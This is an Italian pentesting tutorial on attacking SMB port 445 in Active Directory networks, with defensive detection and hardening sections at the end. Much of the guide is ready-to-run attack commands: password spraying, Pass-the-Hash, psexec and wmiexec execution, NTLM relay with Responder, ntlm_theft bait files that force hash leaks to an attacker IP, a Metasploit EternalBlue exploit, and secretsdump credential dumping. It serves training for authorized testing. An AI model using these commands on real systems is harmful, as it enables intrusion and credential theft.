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Porta 445 SMB: Enumerazione e Attacchi in un Pentest

Porta 445 SMB: Enumerazione e Attacchi in un Pentest

Porta 445 SMB in server Windows: enumerazione delle share, exploit, NTLM relay, Pass-the-Hash, esecuzione remota e lateral movement in Active Directory.

  • Pubblicato il 2026-02-01
  • Tempo di lettura: 11 min

Porta 445 SMB: cos’è, come enumerarla e come difenderla #

La porta 445 è la porta TCP che Windows usa per SMB (Server Message Block): condivisione di file e stampanti, named pipe, RPC e autenticazione (NTLM o Kerberos) su un’unica connessione, senza passare dal vecchio NetBIOS della porta 139. In una rete Active Directory è il canale per share, sessioni, esecuzione remota e movimento laterale: per questo, in un pentest interno, è quasi sempre il primo servizio che guardi.

La porta aperta non è una vulnerabilità. Il rischio dipende da versione SMB, signing, autenticazione, permessi delle share e dalle protezioni di rete. Questa guida è per lab, CTF (Hack The Box, OSCP, OSEP) e pentest autorizzati, e insegna a verificare ogni condizione prima di trarre conclusioni.

Risposta rapida: scopri chi ha la 445 aperta, controlla dialect e signing, prova l’accesso anonimo, enumera share e utenti con credenziali valide, poi valuta relay, esecuzione remota e vulnerabilità legacy. Ogni passo ha un risultato da interpretare, non solo un comando da lanciare.

SMB in Una Riga #

445/TCP = file sharing + named pipe + RPC + autenticazione NTLM/Kerberos. Superficie d’attacco: share, sessioni, credenziali, signing, versioni legacy.

Le Porte Legate a SMB #

PortaServizioNote
445/TCPSMB diretto su TCPQuella moderna: parti sempre da qui
139/TCPSMB su NetBIOS SessionLegacy, presente per compatibilità
137/UDPNetBIOS Name ServiceRisoluzione nomi, utile per nbtscan
138/UDPNetBIOS DatagramRaro nelle reti moderne
135/TCPRPC Endpoint MapperUsata da WMI/DCOM, spesso insieme a SMB

Non ogni sistema Windows espone la 445: dipendono servizio, ruolo, regole firewall e rete. Per un approfondimento sul protocollo vedi anche SMB.

Anatomia di una Sessione SMB #

  1. TCP handshake su 445
  2. Negotiate: client e server scelgono il dialect (2.0.2, 2.1, 3.0, 3.0.2, 3.1.1; SMBv1 se ancora attivo)
  3. Session Setup: autenticazione NTLM o Kerberos
  4. Tree Connect: connessione a una share (\\host\share)
  5. Operazioni: lettura, scrittura, named pipe via IPC$ (da cui passa l’RPC per utenti, gruppi, policy)
DialectNote
SMBv1Deprecato. Target di EternalBlue (MS17-010) se non patchato
SMB 2.xWindows Vista/7 e successivi
SMB 3.0 / 3.0.2Encryption, multichannel
SMB 3.1.1Pre-authentication integrity, Windows 10 / Server 2016 e successivi

Share di default: ADMIN$, C$ (accessibili solo ad admin), IPC$ (named pipe e RPC), NETLOGON e SYSVOL (sui domain controller), print$ (driver di stampa).

Fase 1: Rilevamento e Fingerprint #

bash
# Chi ha la 445 aperta
nmap -p 445 --open -Pn 10.10.10.0/24 -oG smb_hosts.txt

# Host, OS, dominio, dialect e signing
nmap -p 445 -Pn --script smb-os-discovery,smb-protocols,smb2-security-mode 10.10.10.10

# Panoramica di rete con NetExec
nxc smb 10.10.10.0/24

Output di esempio di NetExec (illustrativo):

text
SMB   10.10.10.10  445  DC01      [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB   10.10.10.20  445  WS-DEV01  [*] Windows 11 Build 22631 x64 (name:WS-DEV01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB   10.10.10.50  445  SRV-FILE  [*] Windows Server 2019 Build 17763 x64 (name:SRV-FILE) (domain:corp.local) (signing:False) (SMBv1:False)

Cosa leggere: nome e dominio, OS e build, signing, SMBv1. È già una mappa: DC con signing richiesto, altri host da controllare. Per i dettagli sul tool: NetExec. Se trovi crackmapexec in vecchi lab o write-up, è il predecessore: CrackMapExec. I comandi di questa guida usano nxc.

Per risolvere i nomi NetBIOS di una subnet: nbtscan.

Fase 2: Dialect e Signing #

bash
nmap -p 445 -Pn --script smb-protocols,smb2-security-mode 10.10.10.20
text
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required

smb2-security-mode controlla il signing sui server SMB2/SMB3. Il vecchio smb-security-mode riguarda il modello legacy (SMBv1): non usarlo come controllo principale.

RisultatoSignificato
signing:True / “required”Il relay SMB verso quell’host non funziona
signing:False / “enabled but not required”Segnale di rischio, non prova che un relay riuscirà
SMBv1:TrueProtocollo legacy attivo: controlla le patch (MS17-010)

Il default dipende da versione e ruolo. I domain controller richiedono normalmente il signing. Windows 11 24H2 (Pro, Enterprise, Education) e Windows Server 2025 hanno default più restrittivi di prima, con differenze tra connessioni in entrata e in uscita. Non generalizzare: verifica sul sistema effettivo.

Lista dei target senza signing (utile per il relay):

bash
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

Fase 3: Accesso Anonimo (Null e Guest Session) #

Il test cerca di capire cosa si ottiene senza credenziali.

bash
smbclient -N -L //10.10.10.50
smbmap -H 10.10.10.50 -u '' -p ''
smbmap -H 10.10.10.50 -u guest
nxc smb 10.10.10.50 -u '' -p '' --shares
nxc smb 10.10.10.50 -u 'guest' -p '' --shares
rpcclient -U "" -N 10.10.10.50
enum4linux-ng -A 10.10.10.50

Strumenti: smbclient, smbmap, rpcclient, enum4linux-ng.

Output di esempio di smbmap (illustrativo, sessione anonima):

text
[+] IP: 10.10.10.50:445  Name: SRV-FILE.corp.local
    Disk        Permissions   Comment
    ----        -----------   -------
    ADMIN$      NO ACCESS     Remote Admin
    C$          NO ACCESS     Default share
    IPC$        READ ONLY     Remote IPC
    Public      READ, WRITE   Public Documents
    IT-Deploy   READ ONLY     IT Deployment Scripts

Come interpretarlo:

RisultatoCosa dimostraCosa non dimostra
Elenco share anonimoIl server consente la sessione senza credenzialiChe i file contengano segreti
IPC$ leggibileParte dell’RPC può rispondereChe utenti e gruppi siano enumerabili
Public: READ, WRITEAccesso con quell’identitàI permessi NTFS reali sui file (vedi Fase 4)
NT_STATUS_ACCESS_DENIEDAutenticazione rifiutata o accesso negatoChe la share non esista
NT_STATUS_BAD_NETWORK_NAMEQuella share non esiste
NT_STATUS_LOGON_FAILURECredenziali non valide

Un risultato negativo non prova che non esista nulla: con un’identità valida l’esito può cambiare. Registra sempre quale identità ha fatto il test.

Fase 4: Share, Permessi e File Sensibili #

Una share ha tre livelli di permesso da non confondere: permessi della share, permessi NTFS su file e cartelle, e permessi effettivi dell’identità che usi. READ, WRITE in smbmap indica il test fatto con quell’utente; non dice tutto il resto.

bash
# Elenco share con credenziali
smbmap -H 10.10.10.50 -u jsmith -p 'Password1' -d corp.local
nxc smb 10.10.10.50 -u jsmith -p 'Password1' --shares

# Contenuto ricorsivo di una share
smbmap -H 10.10.10.50 -u jsmith -p 'Password1' -r IT-Deploy --depth 3

# Shell interattiva e download
smbclient //10.10.10.50/IT-Deploy -U 'corp.local\jsmith%Password1'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

# Montare la share su Linux
sudo mount -t cifs //10.10.10.50/IT-Deploy /mnt/share -o username=jsmith,domain=corp.local

# Spider con NetExec
nxc smb 10.10.10.50 -u jsmith -p 'Password1' -M spider_plus

Per automatizzare la ricerca nelle share esiste anche Snaffler (Windows). Cosa cercare:

File / posizionePerché
*.config, web.config, *.ini, *.xmlConnection string, service account
*.ps1, *.bat, *.vbsScript di deployment con credenziali
Registry.xml, Unattend.xmlAutologon, installazioni automatiche
SYSVOL\...\Groups.xmlGPP con cpassword: la chiave è pubblica, la password è decifrabile
*.kdbx, backup, dumpArchivi di credenziali o dati
bash
# Esempio: GPP cpassword in SYSVOL
smbclient //10.10.10.10/SYSVOL -U 'corp.local\jsmith%Password1' -c "recurse ON; prompt OFF; mget *"
grep -ri "cpassword" corp.local/
gpp-decrypt '<valore_cpassword>'

Il vecchio problema GPP (MS14-025) è stato corretto: nelle reti aggiornate di solito non trovi più nuovi cpassword, ma file storici restano comuni nei lab.

Fase 5: Utenti, Gruppi e Policy #

bash
rpcclient -U 'corp.local\jsmith%Password1' 10.10.10.10
rpcclient $> enumdomusers
rpcclient $> querydispinfo
rpcclient $> enumdomgroups
rpcclient $> getdompwinfo

nxc smb 10.10.10.10 -u jsmith -p 'Password1' --users
nxc smb 10.10.10.10 -u jsmith -p 'Password1' --groups
nxc smb 10.10.10.10 -u jsmith -p 'Password1' --pass-pol
nxc smb 10.10.10.10 -u jsmith -p 'Password1' --rid-brute

lookupsid.py corp.local/jsmith:'Password1'@10.10.10.10

lookupsid e --rid-brute ricostruiscono gli utenti dai RID (500, 501, 1000+) anche quando l’enumerazione diretta è limitata. La policy (--pass-pol, getdompwinfo) ti dà soglia di lockout e finestra di reset: leggila prima di qualsiasi spray.

Output di esempio (illustrativo):

text
[+] Password Policy:
    Minimum length: 8
    Lockout threshold: 5
    Lockout observation window: 30 minutes

Un’appartenenza a un gruppo privilegiato è un’ipotesi di lavoro, non una conclusione. Esempio: Backup Operators ha SeBackupPrivilege, che permette di leggere file ignorando le ACL (per esempio copiare hive del registro). Non equivale a DCSync, che richiede i diritti di replica AD (Replicating Directory Changes e Replicating Directory Changes All, e in alcuni casi In Filtered Set). Sono percorsi diversi: vedi DCSync e BloodHound per mappare i diritti reali.

Fase 6: Autenticazione, Spray e Pass-the-Hash #

Password spraying #

bash
nxc smb 10.10.10.10 -u users.txt -p 'Spring2026!' --continue-on-success

Una password per ciclo, sotto la soglia di lockout letta nella Fase 5, poi aspetta la finestra di osservazione. Approfondimento: Password Spraying. Per il brute force su un singolo utente: Hydra.

Pass-the-Hash #

Con un hash NT (32 caratteri) valido puoi autenticarti senza la password. <NT_HASH> è un segnaposto: non usare hash di esempio (l’hash 31d6cfe0d16ae931b73c59d7e0c089c0 è quello di una password vuota).

bash
# NetExec: solo l'hash NT
nxc smb 10.10.10.50 -u administrator -H <NT_HASH> --shares

# Impacket: formato LM:NT, LM può essere vuoto
impacket-psexec corp.local/administrator@10.10.10.50 -hashes :<NT_HASH>
text
SMB  10.10.10.50  445  SRV-FILE  [+] corp.local\administrator:<NT_HASH> (Pwn3d!)

Pwn3d! indica che l’identità ha diritti amministrativi locali su quell’host. Se vedi STATUS_LOGON_FAILURE, l’hash può essere sbagliato o l’account bloccato; un hash NetNTLMv2 catturato con Responder non è un hash NT e non si usa per PtH (si cracka o si rilancia). Guida completa: Pass-the-Hash.

Kerberos #

bash
smbclient --kerberos //ws01.corp.local/C$
nxc smb 10.10.10.50 -u jsmith -p 'Password1' -k

Con Kerberos usa il FQDN, non l’IP.

Fase 7: Esecuzione Remota via SMB #

Servono credenziali (o hash) con diritti amministrativi sul target. Ogni metodo ha requisiti e tracce diverse.

ToolCome funzionaNote
psexecCarica un binario su ADMIN$, crea un servizioShell SYSTEM; evento di nuovo servizio, spesso bloccato da AV
smbexecServizio che esegue comandi e scrive l’output su shareMeno binari su disco di psexec
wmiexecWMI/DCOM per eseguire comandiUsa la 135 e porte RPC dinamiche oltre alla 445
atexecTask SchedulerUn comando alla volta
dcomexecOggetti DCOMAlternativa a WMI
bash
impacket-psexec corp.local/administrator:'Password1'@10.10.10.50
impacket-wmiexec corp.local/administrator:'Password1'@10.10.10.50
nxc smb 10.10.10.50 -u administrator -p 'Password1' -x whoami
nxc smb 10.10.10.50 -u administrator -p 'Password1' -X '$PSVersionTable'
text
[-] SMB SessionError: STATUS_ACCESS_DENIED

ACCESS_DENIED su ADMIN$ significa di solito che l’utente non è admin locale sul target. Non esiste un metodo “invisibile”: nessun file su disco non equivale a nessuna telemetria (vedi la sezione Detection). Quadro generale: Impacket, Lateral Movement.

Fase 8: NTLM Relay e Furto di Hash #

Il relay inoltra un’autenticazione NTLM in transito verso un altro servizio. Il solo signing:False non basta. Servono tutte queste condizioni:

  • Un’autenticazione NTLM effettivamente catturabile (Responder, coercizione, file malevolo su una share)
  • Un target che accetta NTLM e non richiede signing (SMB) o protezioni equivalenti (LDAP signing, channel binding, EPA per HTTP/LDAPS)
  • L’identità rilanciata deve avere i privilegi necessari: un machine account (DC01$) non è admin locale su un file server per default
  • Il relay verso lo stesso host di origine è bloccato
bash
# 1. Target senza signing
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# 2. Responder con SMB e HTTP spenti (in Responder.conf: SMB = Off, HTTP = Off)
sudo responder -I tun0

# 3. Relay
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
text
[*] SMBD-Thread-5: Received connection from 10.10.10.20, attacking target smb://10.10.10.50
[*] Authenticating against smb://10.10.10.50 as CORP/JSMITH SUCCEED
[*] Dumping local SAM hashes
text
[-] Signing is required for 10.10.10.10, skipping

Cosa NON confondere: --delegate-access è una modalità legata al relay verso LDAP/LDAPS (delega RBCD con un computer account), non un effetto della lista di host SMB. Un relay LDAP dipende da LDAP signing e channel binding. Guida: NTLM Relay, Responder, ESC8 (relay verso ADCS).

Furto di hash con file su share scrivibili. Se una share è scrivibile, un file con un percorso UNC (.scf, .lnk, .url, o generato da ntlm_theft) fa autenticare chi lo apre verso il tuo host. Con Responder catturi un hash NetNTLMv2 da crackare con Hashcat (-m 5600) o da rilanciare. Funziona solo se qualcuno apre quella cartella e l’host può raggiungere il tuo listener.

Lab: Furto di Hash con ntlm_theft e Responder #

Scenario da lab (Hack The Box o rete di test): hai accesso in scrittura a una share e un utente, o un job automatico, la apre. Vuoi catturare il suo hash NetNTLMv2.

1. Responder in ascolto sulla tua interfaccia VPN:

bash
sudo responder -I tun0 -v

2. Genera i file con ntlm_theft, puntando al tuo IP:

bash
pip3 install xlsxwriter
python3 ntlm_theft.py -g modern -s 10.10.14.5 -f Report_Q4
  • -g modern genera i formati che funzionano su Windows recenti (salta .scf, autorun.inf, desktop.ini, Zoom). -g all li crea tutti; con -g xlsx ne scegli uno solo.
  • -s è l’IP del tuo listener, -f il nome base dei file.

Ottieni una cartella Report_Q4/ con .url, .lnk, .docx, .xlsx, .pdf, .htm e altri.

3. Carica il file sulla share scrivibile:

bash
smbclient //10.10.10.50/Public -U 'corp.local\jsmith%Password1' -c "put Report_Q4/Report_Q4.url"

4. Aspetta che qualcuno lo apra. Quando la vittima apre la cartella (.url, .lnk) o il documento (.docx, .xlsx, .pdf), Windows prova ad autenticarsi verso \\10.10.14.5\... e Responder cattura l’hash:

text
[SMB] NTLMv2-SSP Client   : 10.10.10.20
[SMB] NTLMv2-SSP Username : CORP\mrossi
[SMB] NTLMv2-SSP Hash     : mrossi::CORP:1122334455667788:<hash>:<blob>

(Output illustrativo.)

5. Crack offline dell’hash salvato (cartella /usr/share/responder/logs/ o /opt/Responder/logs/, a seconda dell’installazione):

bash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

È un hash NetNTLMv2: non si usa per Pass-the-Hash, si cracka oppure si rilancia (vedi relay sopra, con SMB/HTTP di Responder spenti).

Tipo di fileServe
.url, .lnkChe l’utente apra la cartella
.docx, .xlsx, .pdf, .htmChe l’utente apra il file
.scf, autorun.inf, desktop.iniFunzionano solo su Windows datati

Funziona solo se: la share è scrivibile, un utente (o un’attività automatica) apre il file, e la sua macchina raggiunge il tuo IP sulla 445. Se non arriva nulla, controlla VPN, tun0 e che nessun altro servizio occupi la 445 sul tuo host. Nei lab HTB spesso c’è un bot che simula l’apertura. Attenzione: puliscilo a fine test, i file restano sulla share. Vedi anche Responder e Hashcat.

Coercizione. Tecniche come PetitPotam o PrinterBug forzano un host a autenticarsi verso di te. Alcune sono state mitigate con le patch: verifica sempre stato e versione nel lab.

Fase 9: SMBv1 e Vulnerabilità Legacy #

VulnerabilitàRiferimentoCondizione
EternalBlueMS17-010SMBv1, sistema non patchato
MS08-067MS08-067Windows 2000/XP/2003 non patchati
SMBGhostCVE-2020-0796SMB 3.1.1 con compressione, Windows 10 1903/1909 non patchato

SMBv1 attivo è un prerequisito rilevante, ma non basta: contano patch e sistema reale. Prima rileva, poi (solo nel lab) valuta l’exploit.

bash
nmap -p 445 -Pn --script smb-vuln-ms17-010 10.10.10.40
text
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
bash
# Check non invasivo in Metasploit, poi l'exploit
msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17_010; set RHOSTS 10.10.10.40; run"
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.10.10.40; set LHOST tun0; run"

Se l’exploit fallisce, prima di cambiare modulo controlla architettura, named pipe disponibili e stato delle patch: un modulo alternativo non è una soluzione universale. Vedi Metasploit e msfconsole. Se la 445 non è raggiungibile per colpa del firewall, il percorso è un pivot da una subnet autorizzata.

Fase 10: Dopo l’Accesso #

Con diritti amministrativi sul target:

bash
impacket-secretsdump corp.local/administrator:'Password1'@10.10.10.50
nxc smb 10.10.10.50 -u administrator -p 'Password1' --sam
nxc smb 10.10.10.50 -u administrator -p 'Password1' --lsa

Approfondimenti: secretsdump, Credential Dumping, Mimikatz, Credential Harvesting. Dal lato Active Directory, il quadro è in Active Directory.

Porta 445 SMB: TCP o UDP? #

TCP. SMB sulla 445 usa solo TCP: 445/tcp, servizio microsoft-ds. IANA registra anche 445/udp, ma SMB non lo usa: in una scansione UDP la 445 risulta di solito chiusa o filtrata.

PortaProtocolloUso
445TCPSMB diretto (quello che ti interessa)
139TCPSMB su NetBIOS Session (legacy)
137UDPNetBIOS Name Service
138UDPNetBIOS Datagram
443UDPSMB over QUIC (Windows Server 2025 e Windows 11 recenti, non diffuso)
bash
nmap -sS -p 445 10.10.10.10        # TCP: è questa che conta
nmap -sU -p 137,138 10.10.10.10    # UDP: NetBIOS, non SMB

Se in un lab la 445 TCP risulta filtered, il problema è il firewall, non il protocollo: non perdere tempo con la scansione UDP.

SMB, WinRM e RDP a Confronto #

AspettoSMB (445/TCP)WinRM (5985/5986)RDP (3389)
AutenticazioneNTLM, KerberosNTLM, KerberosNLA (NTLM/Kerberos)
Esecuzione comandipsexec, smbexec, wmiexec (con RPC)PowerShell remoting, Evil-WinRMSessione grafica
Pass-the-HashSìSìSolo con Restricted Admin
Quando preferirloShare, file, esecuzione con adminSe SMB è filtratoSe serve la GUI

La 445 è centrale in molti percorsi, ma non in tutti: WinRM, RDP e WMI usano altre porte, e il relay NTLM può colpire anche LDAP o HTTP.

Detection e Telemetria #

Gli eventi esistono solo se auditing e raccolta sono configurati (Security log, Sysmon, EDR).

ComportamentoCosa osservare
Accessi di rete4624 (Logon Type 3), 4625 (fallimenti), 4776 (validazione NTLM sul DC)
Accesso alle share5140, 5145 (richiedono audit file share), volume di file letti
Installazione di servizi7045 (System), 4697 (Security): psexec, smbexec
Processi4688, Sysmon 1: cmd.exe/powershell.exe figli di services.exe o wmiprvse.exe
Connessioni di reteSysmon 3: connessioni verso 445 da processi insoliti
SprayMolti 4625/4776 da una sola sorgente su molti utenti
Modifiche ADCambi a gruppi, ACL e permessi di replica

Un metodo “senza file su disco” può comunque generare processi, log ed eventi correlabili. Per l’analisi del traffico: Wireshark, tcpdump.

Hardening #

Verifica lo stato reale prima di cambiare:

powershell
Get-SmbServerConfiguration | Select RequireSecuritySignature, EnableSMB1Protocol, EncryptData, RejectUnencryptedAccess
Get-SmbShare
Get-SmbShareAccess -Name "IT-Deploy"
Get-SmbConnection
  • Signing richiesto via GPO: Microsoft network server: Digitally sign communications (always) e lo stesso lato client
  • Disabilita SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false
  • Limita l’accesso anonimo: restrizione di sessioni null, RestrictAnonymous, nessun accesso guest
  • Share a minimo privilegio: niente Everyone, controlla sia permessi share sia NTFS
  • Firewall: blocca la 445 ai confini di rete e tra segmenti che non ne hanno bisogno (firewall)
  • Protezioni anti-relay: LDAP signing e channel binding sui DC, EPA sui servizi HTTP, ridurre o disabilitare NTLM dove possibile, Kerberos al suo posto
  • Password amministrative locali uniche (LAPS) per limitare il riuso dell’hash tra host
  • SMB encryption per le share con dati sensibili

Troubleshooting #

SintomoCausa probabileCosa controllare
Connection refused / filtered su 445Firewall o servizio assentenmap -Pn -p 445, regole di rete, pivot
STATUS_ACCESS_DENIED su ADMIN$Utente non admin localeGruppi sul target, --local-auth per account locali
STATUS_LOGON_FAILURE con hashHash non NT, utente o dominio erratoFormato (:<NT_HASH>), dominio, blocco account
NT_STATUS_BAD_NETWORK_NAMEShare inesistenteElenco share
Il relay fallisce con Signing is requiredTarget con signing richiestoUsa solo target in --gen-relay-list
Relay avviato ma nessuna connessioneNessuna autenticazione in transitoResponder/coercizione, porte SMB/HTTP libere
STATUS_PASSWORD_MUST_CHANGE, account bloccatoPolicy di dominioPolicy e lockout (Fase 5)
psexec si connette ma niente shellAV/EDR blocca il servizioProva un altro metodo, controlla i log
Kerberos fallisceIP al posto del FQDN, orario non sincronizzatoNome DNS, ntpdate/skew di orario

Checklist Operativa #

text
[ ] 445 raggiungibile e host identificato (nmap, nxc)
[ ] Dialect e signing verificati (smb-protocols, smb2-security-mode)
[ ] SMBv1 e vulnerabilità legacy rilevate, non solo supposte
[ ] Accesso anonimo e guest testato, identità registrata
[ ] Share, permessi share e NTFS distinti
[ ] Utenti, gruppi e policy di lockout letti prima di ogni spray
[ ] Credenziali trovate nelle share verificate in modo mirato
[ ] Relay: prerequisiti (NTLM catturabile, signing, privilegi) controllati
[ ] Output reali separati da quelli illustrativi nel report
[ ] Detection e hardening documentati

FAQ #

A cosa serve la porta 445? È la porta TCP usata da SMB per file e stampanti, named pipe, RPC e autenticazione su Windows.

Qual è la differenza tra porta 445 e 139? La 445 è SMB direttamente su TCP; la 139 usa NetBIOS Session Service ed è legacy.

Come verifico se il signing SMB è richiesto? nmap -p 445 --script smb2-security-mode <target> oppure nxc smb <target> e leggi il campo signing.

EternalBlue funziona ancora? Solo su sistemi con SMBv1 e senza patch MS17-010: oggi quasi esclusivamente nei lab e nelle macchine CTF.

Signing disabilitato significa NTLM relay riuscito? No: servono anche un’autenticazione NTLM in transito e privilegi sufficienti sul target.

È legale scansionare la porta 445? Solo su sistemi tuoi, con autorizzazione scritta o in lab dedicati.

Riferimenti: Microsoft [MS-SMB2] (specifica del protocollo SMB 2/3) e documentazione Nmap NSE per smb2-security-mode. Verifica sempre opzioni e output sulla versione dei tool che usi.

#SMB #Porta 445 #enumerazione SMB #EternalBlue

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